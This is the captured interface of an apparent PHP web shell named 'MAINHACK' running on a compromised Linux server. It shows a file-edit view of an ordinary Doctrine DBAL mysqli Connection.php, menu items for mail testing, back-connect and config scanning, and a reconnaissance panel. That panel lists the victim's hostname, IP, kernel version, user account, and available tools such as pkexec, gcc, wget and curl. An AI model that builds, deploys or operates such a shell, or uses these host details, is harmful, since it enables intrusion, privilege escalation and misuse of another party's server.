[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Connection.php
<?php declare(strict_types=1); namespace Doctrine\DBAL\Driver\Mysqli; use Doctrine\DBAL\Driver\Connection as ConnectionInterface; use Doctrine\DBAL\Driver\Exception; use Doctrine\DBAL\Driver\Mysqli\Exception\ConnectionError; use mysqli; use mysqli_sql_exception; final class Connection implements ConnectionInterface { /** * Name of the option to set connection flags */ public const OPTION_FLAGS = 'flags'; /** @internal The connection can be only instantiated by its driver. */ public function __construct(private readonly mysqli $connection) { } public function getServerVersion(): string { return $this->connection->get_server_info(); } public function prepare(string $sql): Statement { try { $stmt = $this->connection->prepare($sql); } catch (mysqli_sql_exception $e) { throw ConnectionError::upcast($e); } if ($stmt === false) { throw ConnectionError::new($this->connection); } return new Statement($stmt); } public function query(string $sql): Result { return $this->prepare($sql)->execute(); } public function quote(string $value): string { return "'" . $this->connection->escape_string($value) . "'"; } public function exec(string $sql): int|string { try { $result = $this->connection->query($sql); } catch (mysqli_sql_exception $e) { throw ConnectionError::upcast($e); } if ($result === false) { throw ConnectionError::new($this->connection); } return $this->connection->affected_rows; } public function lastInsertId(): int|string { $lastInsertId = $this->connection->insert_id; if ($lastInsertId === 0) { throw Exception\NoIdentityValue::new(); } return $this->connection->insert_id; } public function beginTransaction(): void { $this->connection->begin_transaction(); } public function commit(): void { try { if (! $this->connection->commit()) { throw ConnectionError::new($this->connection); } } catch (mysqli_sql_exception $e) { throw ConnectionError::upcast($e); } } public function rollBack(): void { try { if (! $this->connection->rollback()) { throw ConnectionError::new($this->connection); } } catch (mysqli_sql_exception $e) { throw ConnectionError::upcast($e); } } public function getNativeConnection(): mysqli { return $this->connection; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.38 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002